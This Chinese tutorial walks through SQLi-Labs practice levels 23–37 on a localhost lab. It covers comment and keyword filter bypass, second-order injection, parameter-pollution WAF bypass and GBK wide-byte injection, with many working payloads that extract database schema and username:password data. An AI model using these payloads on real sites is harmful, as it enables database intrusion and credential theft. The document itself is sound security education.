SQLi-Labs靶场从零搭建到通关全攻略(四):过滤对抗与宽字节注入

摘要: 在前三篇文章中,我们掌握了从GET到POST、从显注到盲注的全部基础技能。但从Less-23开始,开发者终于"生气了"------他们开始在后端代码中加入各种过滤机制:注释符被干掉、andor被替换为空、空格被移除、unionselect被屏蔽,甚至单引号也被转义了。

当开发者开始防御,我们该如何突破?本文作为系列攻略的第四篇,将系统讲解过滤对抗技术 (Less-23~28)、WAF绕过 (Less-29~31)以及宽字节注入(Less-32~37)。这是从"会注入"到"会绕过"的关键进阶,也是实际渗透测试中最常遇到的真实场景。


一、过滤对抗:当开发者开始防御

从Less-23开始,SQLi-Labs引入了服务端过滤机制。开发者不再只是"裸奔"地拼接SQL语句,而是尝试用各种方式阻止注入。

1.1 核心概念:过滤与绕过

过滤(Filter) :开发者用代码移除或替换掉某些危险字符或关键字。

绕过(Bypass) :攻击者用各种技巧让过滤失效,让恶意代码"偷渡"成功。

打个比方:过滤就像机场安检------X光机检查行李(检查输入),发现违禁品就没收(过滤掉)。绕过就是想办法把违禁品伪装成普通物品带进去。


二、Less-23:注释符被过滤了怎么办?

2.1 关卡信息

  • 关卡名称:Less-23 - GET - Error Based - Single quotes - Strip comments

  • 漏洞类型:GET型单引号字符型注入

  • 核心特点--#注释符被替换为空

2.2 问题分析

在前面的关卡中,我们一直用--+#来注释掉SQL语句后面的部分。但Less-23的源码中:

复制代码
$id = preg_replace('/#/', '', $id);
$id = preg_replace('/--/', '', $id);

简单说:你输入#--,后端直接给你删掉。

没有注释符,我们的payload还能用吗?

2.3 解决方案:用逻辑闭合代替注释

不用注释符,我们可以用逻辑闭合的方式让SQL语句变得合法。

原始SQL(假设):

复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1

当我们输入1' and '1'='1时,SQL变成:

复制代码
SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1

整个语句是合法的------不需要注释符!

2.4 通关步骤

第一步:测试注入点

复制代码
http://localhost/sqli-labs/Less-23/index.php/?id=1'

报错 → 存在注入,单引号闭合。

第二步:验证无注释闭合思路(正常回显页面)

复制代码
?id=1' and '1'='1

末尾 '1'='1' 自动闭合最后一个单引号,无语法错误,页面正常返回 Dumb 账号数据,说明绕过成功。

第三步:找显示位

复制代码
?id=-1' union select 1,2,3 and '1'='1

第四步:获取数据库名

复制代码
?id=-1' union select 1,database(),3 and '1'='1

第五步:获取表名

复制代码
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

第六步:获取用户表字段

复制代码
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' and '1'='1

第七步:获取用户表数据

复制代码
?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users where '1'='1

2.5 核心要点

注释符被过滤时,用逻辑闭合and '1'='1and 1=1)来让SQL语句语法完整。


三、Less-24:二次注入------最隐蔽的攻击方式

3.1 关卡信息

  • 关卡名称:Less-24 - POST - Second Order Injections - Real Treat

  • 漏洞类型:二次注入(Second-Order Injection)

  • 核心特点 :恶意数据先存储 ,后触发------分两步完成攻击

3.2 什么是二次注入?

二次注入(Second-Order Injection) 是最隐蔽的SQL注入方式之一。

普通注入:你输入恶意代码 → 服务器立即执行 → 攻击成功。

二次注入:你输入恶意代码 → 服务器存储 到数据库(但不执行)→ 过了一段时间,另一个功能读取了这条数据并拼接到SQL中 → 攻击才真正发生。

打个比方:你偷偷在图书馆的书的某一页夹了一张写着"炸弹"的纸条(存储恶意数据)。管理员打扫时翻到这本书,看到纸条(读取数据),以为真的有问题(执行恶意代码)。你的恶作剧成功了------但管理员检查书的时候根本不会想到是你夹的纸条。

3.3 通关步骤

第一步:注册一个恶意用户名

在注册页面,用户名输入:

复制代码
admin'#

密码随便填(如123456)。

为什么是admin'# 这个用户名包含了注释符#,但在注册时被转义了(变成admin\'#),所以安全地存入了数据库。

第二步:用这个账号登录

用户名输入:admin'#,密码:123456

第三步:修改密码

登录后进入修改密码页面,把密码改成任意值(如654321)。

此时后端执行的SQL是:

复制代码
UPDATE users SET PASSWORD='654321' WHERE username='admin'#' AND password='123456'

由于#是注释符,后面的AND password='123456'被注释掉了。实际执行的是:

复制代码
UPDATE users SET PASSWORD='654321' WHERE username='admin'

第四步:验证结果

admin账户登录,密码是654321------成功!

3.4 二次注入的防御

防御二次注入的核心是参数化查询(Prepared Statement) ------不拼接SQL语句,而是用占位符。

复制代码
// 错误做法(存在二次注入风险)
$sql = "UPDATE users SET password='$pass' WHERE username='$username'";
​
// 正确做法(参数化查询)
$stmt = $conn->prepare("UPDATE users SET password=? WHERE username=?");
$stmt->bind_param("ss", $pass, $username);

四、Less-25:andor被过滤了怎么办?

4.1 关卡信息

  • 关卡名称:Less-25 - GET - Error Based - Single quotes - Filter OR & AND

  • 漏洞类型:GET型单引号字符型注入

  • 核心特点andor关键字被替换为空

4.2 问题分析

后端源码中:

复制代码
$id = preg_replace('/or/i', '', $id);   // 不区分大小写
$id = preg_replace('/and/i', '', $id);  // 不区分大小写

你输入andor,后端直接删掉。

4.3 三种绕过方法

方法一:双写绕过(最常用)

过滤只执行一次 。如果我们输入anandd

第一次过滤:找到and并替换为空 → 剩下and

结果:ananddand

复制代码
?id=1' anandd 1=1 --+    # 变成 and 1=1
?id=1' oorr 1=1 --+      # 变成 or 1=1

方法二:大小写绕过

如果过滤是大小写敏感的,可以用:

复制代码
AnD、aNd、AND、Or、OR、oR

方法三:符号替换

&&替代and,用||替代or

复制代码
?id=1' && 1=1 --+
?id=1' || 1=1 --+

4.4 通关步骤

第一步:判断闭合方式

复制代码
?id=1' anandd 1=1 --+    # 正常 → 单引号闭合

第二步 :判断字段数(注意order中的or也要双写)

复制代码
?id=1' oorrder by 3 --+   # 正常
?id=1' oorrder by 4 --+   # 报错 → 字段数为3

第三步:联合查询(查看显示位)

复制代码
?id=-1' union select 1,2,3 --+

第四步:获取数据库名

复制代码
?id=-1' union select 1,database(),3 --+

第五步 :获取表名(informationinfoorrmation

复制代码
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

第六步:获取用户表字段名

复制代码
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' anandd table_name='users' --+

第七步:获取用户表所有用户表密码

复制代码
?id=-1' union select 1,group_concat(concat(username,':',passwoorrd)),3 from security.users --+

4.5 Less-25a:数字型版本

Less-25a和Less-25逻辑相同,只是闭合方式从单引号变成了数字型(不需要引号)

payload示例:

复制代码
?id=1 anandd 1=1 --+
?id=-1 union select 1,2,3 --+

五、Less-26:多重过滤------空格、注释、and/or全被干掉了

5.1 关卡信息

  • 关卡名称:Less-26 - GET - Error Based - All Your SPACES and COMMENTS Belong to Us

  • 漏洞类型:GET型单引号字符型注入

  • 核心特点 :过滤了空格、注释符、andor

5.2 问题分析

Less-26的过滤更狠:空格被移除 --#/*被移除 andor被移除

没有空格,我们的SQL语句怎么写?

5.3 绕过方法汇总

(1)空格替代方案

替代字符 说明
%09 Tab键(水平制表符)
%0a 换行符
%0c 新的一页
%0d 回车符
%0b Tab键(垂直制表符)
%a0 不换行空格
() 括号包裹

(2)用括号代替空格

复制代码
-- 原本需要空格
union select 1,2,3
​
-- 用括号代替
union(select(1),2,3)

(3)逻辑运算符替换

复制代码
and → &&,or → ||

(4)双写绕过(用于表名中的关键字)

复制代码
information → infoorrmation

5.4 通关步骤

第一步 :判断闭合方式(用%0a代替空格)

复制代码
?id=1'%0a&&%0a'1'='1

第二步:使用报错注入(不用空格)

复制代码
?id=1'||extractvalue(1,concat(1,database()))||'1

第三步 :获取表名(注意information要双写,用括号代替空格)

复制代码
?id=1'||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))||'1

5.5 Less-26a:盲注版本

Less-26a和Less-26的区别是不显示报错信息 ,需要用布尔盲注时间盲注

测试延时是否生效(判断当前库长度):

复制代码
?id=1')%26%26if(length(database())=8,sleep(3),1)%26%26('1

逐字符爆破数据库名(截取第 1 位字符s):

复制代码
# 卡顿 = 字符匹配成功,更换数字 mid(库名,N,1) 遍历全部字符
?id=1')%26%26if(mid(database(),1,1)='s',sleep(3),1)%26%26('1

六、Less-27:unionselect也被过滤了

6.1 关卡信息

  • 关卡名称:Less-27 - GET - Error Based - All Your UNION & SELECT Belong to Us

  • 漏洞类型:GET型双引号字符型注入

  • 核心特点 :过滤了空格、注释符、unionselect

6.2 通关步骤

第一步:判断注入点与闭合方式

先测试注入点,输入 ?id=1' 如果页面报错,说明存在注入且为单引号闭合。

确认单引号闭合后,用 ?id=1' and '1'='1 测试,页面正常显示;

?id=1' and '1'='0 页面无显示,说明注入成立。

第二步:获取回显点

复制代码
?id=999'%09uNiOn%09sEleCt%091,2,3%09and%09'1'='1

第三步:获取数据库名

复制代码
?id=999'%09uNiOn%09sEleCt%091,database(),3%09and%09'1'='1

第四步:获取表名

复制代码
?id=999'%09uNiOn%09sEleCt%091,(sEleCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%09'1'='1

第五步:获取字段名

复制代码
?id=999'%09uNiOn%09sEleCt%091,(sEleCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3%09and%09'1'='1

第六步: 获取数据

复制代码
?id=999'%09uNiOn%09sEleCt%091,(sEleCt%09group_concat(username,password)%09from%09users),3%09and%09'1'='1

备选: 报错注入,updatexml() 中的 select 同样需要大小写绕过

复制代码
?id=1'%09and%09updatexml(1,concat(0x7e,database()),1)%09and%09'1'='1

6.3 Less-27a:盲注版本

Less-27a和Less-27的区别是不显示报错信息 ,需要用联合查询盲注

**第一步:**判断注入点

复制代码
# 测试双引号闭合,页面正常显示 → 确认闭合方式为双引号
?id=1" and "1"="1
复制代码
# 页面无显示(空)→ 确认存在注入
?id=1" and "1"="0

**第二步:**判断显示位

复制代码
?id=0" UNIon%0aSELEct%0a1,2,3 %0aand "1"="1

**第三步:**获取数据库名

复制代码
?id=0" UNIon%0aSELEct%0a1,database(),3 %0aand "1"="1

**第四步:**获取表名

复制代码
?id=0" UNIon%0aSELEct%0a1,(SELEct%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),3 %0aand "1"="1

**第五步:**获取字段名

复制代码
?id=0" UNIon%0aSELEct%0a1,(SELEct%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),3 %0aand "1"="1

**第六步:**获取用户数据

复制代码
?id=0" UNIon%0aSELEct%0a1,(SELEct%0agroup_concat(username,':',password)%0afrom%0ausers),3 %0aand "1"="1

七、Less-28:union select组合过滤

7.1 关卡信息

  • 关卡名称:Less-28 - GET - Error Based - All Your UNION & SELECT Belong to Us - String with parenthesis

  • 漏洞类型:GET型单引号+括号字符型注入

  • 核心特点 :过滤了**union select组合**(不区分大小写)

7.2 通关步骤

第一步:判断注入点与闭合方式

复制代码
?id=1') and ('1'='1
# 页面正常显示 → 确认闭合方式为 ')(单引号加括号)

第二步:获取回显位

复制代码
# 将 id 改为一个不存在的数(如 999 或 0),并用双写绕过 union select 过滤
?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

**第三步:**获取数据库名

复制代码
?id=999')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

**第四步:**获取数据库表

复制代码
?id=999')%09ununion%09selection%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3%09and%09('1'='1

**第五步:**获取字段名

复制代码
?id=999')%09ununion%09selection%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3%09and%09('1'='1

**第六步:**获取用户表数据

复制代码
?id=999')%09ununion%09selection%09select%091,(select%09concat(username,':',password)%09from%09security.users%09where%09id=1),3%09and%09('1'='1

7.3 Less-28a

**第一步:**判断注入点与闭合方式

复制代码
?id=1') and ('1'='1
# 页面正常显示 → 确认闭合方式为 ')(单引号加括号)

**第二步:**获取回显位

复制代码
?id=0')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

**第三步:**获取数据库名

复制代码
?id=0')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

**第四步:**获取表名

复制代码
?id=0')%09ununion%09selection%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3%09and%09('1'='1

**第五步:**获取字段名

复制代码
?id=0')%09ununion%09selection%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3%09and%09('1'='1

**第六步:**获取数据

复制代码
?id=0')%09ununion%09selection%09select%091,(select%09concat(username,':',password)%09from%09security.users%09where%09id=1),3%09and%09('1'='1

八、Less-29~31:WAF绕过与双层架构

8.1 什么是WAF?

WAF(Web Application Firewall,Web应用防火墙) 是专门保护Web应用的安全设备。它像一道"安检门",检查所有进出流量,发现恶意请求就拦截。

Less-29~31模拟的是WAF绕过场景------前端有一道WAF(用Tomcat实现),后端才是真正的PHP应用。

8.2 WAF绕过原理

WAF通常只检查第一个参数 。如果我们传递两个同名参数 (如?id=1&id=2),WAF可能只检查第一个,而PHP取的是最后一个 。这就是参数污染(HPP,HTTP Parameter Pollution) 技术。

8.3 Less-29:单引号WAF绕过

第一步:正常测试

复制代码
?id=1'    # 报错 → 存在注入

第二步:参数污染绕过WAF

复制代码
?id=1&id=1' and 1=1 --+

WAF检查第一个id=1(正常),后端PHP取最后一个参数执行。

第三步:获取数据库名

复制代码
?id=1'&id=-2' union select 1,database(),3 --+

第四步:获取表名

复制代码
?id=1'&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

第五步:获取字段名

复制代码
?id=1'&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

第六步:获取用户表数据

复制代码
?id=1'&id=-2' union select 1,group_concat(username,0x3a,password),3 from users --+

8.4 Less-30:双引号WAF绕过

Less-30和Less-29逻辑相同,只是闭合方式变成了双引号

复制代码
// 1、判断注入点与闭合方式
?id=1"&id=2    //页面正常显示
?id=1"&id=2"    //页面报错 → 确认闭合方式为双引号
?id=1"&id=2" and "1"="1    //验证注入存在:页面正常
?id=1"&id=2" and "1"="2    //页面无显示 → 注入成立
// 2、获取数据库名
?id=1"&id=-2" union select 1,database(),3 --+
// 3、获取表名
?id=1"&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
// 4、获取字段名
?id=1"&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
// 5、获取用户表数据
?id=1"&id=-2" union select 1,group_concat(username,0x3a,password),3 from users --+

8.5 Less-31:双引号+括号WAF绕过

Less-31的闭合方式是双引号+括号

复制代码
// 1、判断注入点与闭合方式
?id=1&id=2    //页面正常显示
?id=1&id=2")    //页面报错 → 确认闭合方式为双引号
?id=1&id=2") and 1=1 --+    //验证注入存在:页面正常
?id=1&id=2") and 1=2 --+   //页面无显示 → 注入成立
// 2、获取数据库名
?id=1&id=-2") union select 1,database(),3 --+
// 3、获取表名
?id=1&id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
// 4、获取字段名
?id=1&id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
// 5、获取用户表数据
?id=1&id=-2") union select 1,group_concat(username,0x3a,password),3 from users --+

九、Less-32~37:宽字节注入------当单引号被转义时

9.1 什么是宽字节注入?

当我们输入单引号'时,后端可能会用addslashes()mysql_real_escape_string()函数在前面加一个反斜杠\,变成\'。这样单引号就失去了"闭合"的作用。

但是 ,如果数据库的编码是GBK(中文编码),情况就不同了。

在GBK编码中,一个汉字占2个字节%df(一个字节)加上%5c(反斜杠的编码)组合成%df%5c,这在GBK中是一个合法的汉字字符"連"

所以流程是:

你输入:%df'

后端转义:%df\' → 编码为 %df%5c%27

GBK解析:%df%5c = "連"(一个汉字),%27 = '

单引号成功逃逸! 这就是宽字节注入------利用编码差异让转义符失效。

9.2 Less-32:GET型宽字节注入

第一步:测试转义

复制代码
?id=1'

页面显示:1\' ------单引号被转义了。

第二步:宽字节注入

复制代码
?id=1%df'

报错 → 单引号成功逃逸!

第三步:联合查询查看回显

复制代码
?id=-1%df' union select 1,2,3 --+

第四步:获取数据库名

复制代码
?id=-1%df' union select 1,database(),3 --+

第五步:获取表名

复制代码
// 将 'security' 转为十六进制为 0x7365637572697479
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

第六步:获取字段名

复制代码
// 'users' 转为十六进制 0x7573657273
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+

**第七步:**获取用户表数据

复制代码
?id=-1%df' union select 1,group_concat(username,0x3a,password),3 from users --+

9.3 Less-33:addslashes()函数的宽字节注入

Less-33和Less-32几乎一样,只是后端用的是PHP的addslashes()函数。

复制代码
// 1、判断注入点
?id=1%df' and 1=1 --+
// 2、获取列数
?id=1%df' order by 3 --+    //正常
?id=1%df' order by 4 --+    //报错,所以结果为3列
// 3、获取回显位
?id=-1%df' union select 1,2,3 --+
// 4、获取用户库名
?id=-1%df' union select 1,database(),3 --+
// 5、获取表名
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
// 6、获取字段名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
// 7、获取用户表所有数据
?id=-1%df' union select 1,group_concat(username,0x3a,password),3 from users --+

9.4 Less-34:POST型宽字节注入

Less-34把注入方式从GET变成了POST

由于是 POST 提交,直接在浏览器表单中输入 %df' 会被浏览器自动 URL 编码,% 变成 %25,导致宽字节注入失效。

正确做法

打开 Burp Suite 抓包

在登录表单提交数据后,拦截请求

uname 参数中的 % 还原(浏览器可能将 %df 编码为 %25df,手动改回 %df

将修改后的请求发送到 Repeater 进行注入测试

第一步:判断注入点与闭合方式:

复制代码
uname=admin%df'&passwd=123456&submit=Submit

**第二步:**获取列数(字段数)

复制代码
uname=admin%df' order by 2#&passwd=123456&submit=Submit    //正常显示
uname=admin%df' order by 3#&passwd=123456&submit=Submit    //报错 → 共有 2 列。

第三步:获取回显位

复制代码
uname=-1%df' union select 1,2#&passwd=123456&submit=Submit

第四步:获取数据库名

复制代码
uname=-1%df' union select 1,database()#&passwd=123456&submit=Submit

**第五步:**获取表名

复制代码
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=123456&submit=Submit

**第六步:**获取字段名

复制代码
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273#&passwd=123456&submit=Submit

**第七步:**获取用户表数据

复制代码
uname=-1%df' union select 1,group_concat(username,0x3a,password) from users#&passwd=123456&submit=Submit

9.5 Less-35:数字型宽字节注入

Less-35是数字型 注入,不需要引号闭合。但addslashes()依然会转义输入中的特殊字符。

复制代码
// 1、判断注入点
?id=1 and 1=1 --+    //正常显示
?id=1 and 1=2 --+    //不显示,存在注入点
// 2、获取列数
?id=1 order by 3 --+    //正常
?id=1 order by 4 --+    //报错,所以结果为3列
// 3、获取回显位
?id=-1 union select 1,2,3 --+
// 4、获取用户库名
?id=-1 union select 1,database(),3 --+
// 5、获取表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
// 6、获取字段名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
// 7、获取用户表所有数据
?id=-1 union select 1,group_concat(username,0x3a,password),3 from users --+

9.6 Less-36:mysql_real_escape_string()的宽字节注入

Less-36用的是mysql_real_escape_string()函数,效果和addslashes()类似。

复制代码
// 1、判断注入点
?id=1%df' and 1=1 --+    //正常显示
?id=1%df' and 1=1 --+    //为空,存在注入点
// 2、获取列数
?id=1%df' order by 3 --+    //正常
?id=1%df' order by 4 --+    //报错,所以结果为3列
// 3、获取回显位
?id=-1%df' union select 1,2,3 --+
// 4、获取用户库名
?id=-1%df' union select 1,database(),3 --+
// 5、获取表名
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
// 6、获取字段名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
// 7、获取用户表所有数据
?id=-1%df' union select 1,group_concat(username,0x3a,password),3 from users --+

9.7 Less-37:POST型mysql_real_escape_string()

Less-37是POST版本的Less-36。

复制代码
// 第一步:判断注入点与闭合方式:
uname=admin%df'&passwd=123456&submit=Submit
// 第二步:获取列数(字段数)
uname=admin%df' order by 2#&passwd=123456&submit=Submit    //正常显示
uname=admin%df' order by 3#&passwd=123456&submit=Submit    //报错 → 共有 2 列。
// 第三步:获取回显位
uname=-1%df' union select 1,2#&passwd=123456&submit=Submit
// 第四步:获取数据库名
uname=-1%df' union select 1,database()#&passwd=123456&submit=Submit
// 第五步:获取表名
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=123456&submit=Submit
// 第六步:获取字段名
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273#&passwd=123456&submit=Submit
// 第七步:获取用户表数据
uname=-1%df' union select 1,group_concat(username,0x3a,password) from users#&passwd=123456&submit=Submit

总结

掌握了注释符过滤的绕过(Less-23) :用逻辑闭合(and '1'='1)代替注释符

理解了二次注入的原理和实战(Less-24) :恶意数据先存储后触发,两步完成攻击

学会了关键字过滤的绕过(Less-25~28) :双写、大小写、符号替换、空格替代等多种技巧

了解了WAF绕过的基本思路(Less-29~31) :参数污染(HPP)让WAF检查第一个参数,后端取最后一个

掌握了宽字节注入的核心原理和实战(Less-32~37) :利用GBK编码特性,让%df%5c变成一个汉字,使单引号逃逸

从Less-23到Less-37,我们完成了从"基础注入"到"过滤对抗"的质变。这些技术在实际渗透测试中极其常见------几乎所有的网站都会做一定程度的过滤,能否绕过过滤决定了注入能否成功。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。